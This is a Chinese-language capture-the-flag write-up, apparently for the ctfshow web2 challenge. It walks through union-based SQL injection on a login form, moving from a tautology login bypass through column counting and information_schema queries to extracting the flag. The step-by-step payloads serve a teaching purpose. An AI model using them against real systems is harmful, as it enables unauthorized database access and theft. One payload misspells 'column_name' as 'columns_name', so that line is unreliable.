简单的sql注入
group_concat()把东西拼接在一行里
比如
group_concat (table_name)
就是把表名接在一起
unoin合并结果,并且去重
information_schema是一个库
information_schema.tables
它是一张真实存在的表,MySQL 自己维护的,他就是可以说是存了表面的东西。里面有几十列,我们只需要关心两列:
| 列名 | 含义 | 例子 |
|---|---|---|
table_schema |
这个表属于哪个库 | web2、mysql、test |
table_name |
这个表叫什么名字 | flag、user |
还有第2个表,他是系统存的列名的表
information_schema.columns
一般来说他会有三列:table_schema、table_name、column_name
这里的table_schema、table_name表达的意思和information_schema.tables里的一样
好的,知道这些就好了
我们首先要看看会不会在页面返回东西
1' or 1=1 #
密码随便
看到有一个欢迎,ctfshow说明是会在页面这里返回的
接下来判断他们有多少列
先
1' or 1=1 order by 3#
还是登进去了,说明没报错,所以至少有3列,那再试试
1' or 1=1 order by 4#
ok啊,退回去了,报错了,说明就是只有3列
OK啊,3列,那他到底输出到页面的是那一列呢,试试就知道了
-1' union select 1,2,3#
ok啊,来了个欢迎 2那就是第2列是输出点咯
那我们可以开始拿库名了
-1' union select 1,database(),3#
ok啊,出来了个哈喽web2那库名就是他咯
那继续爆表名
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'web2'#
ok啊,出现了flag 和uese,说明这个web2有两个表,那肯定在flag这个表啊
那我们要知道flag这个表里那里藏了flag才可以,所以我们要查列的名字
-1' union select 1,group_concat(columns_name),3 from information_schema.columns where table_schema='web2' and table_name='flag'#
ok啊,欢迎flag,说明什么就是说这个flag的表就一列叫flag的列啊
那我可以那flag了
-1' union select 1,group_concat(flag),3 from flag#
ok啊,直接出了
评论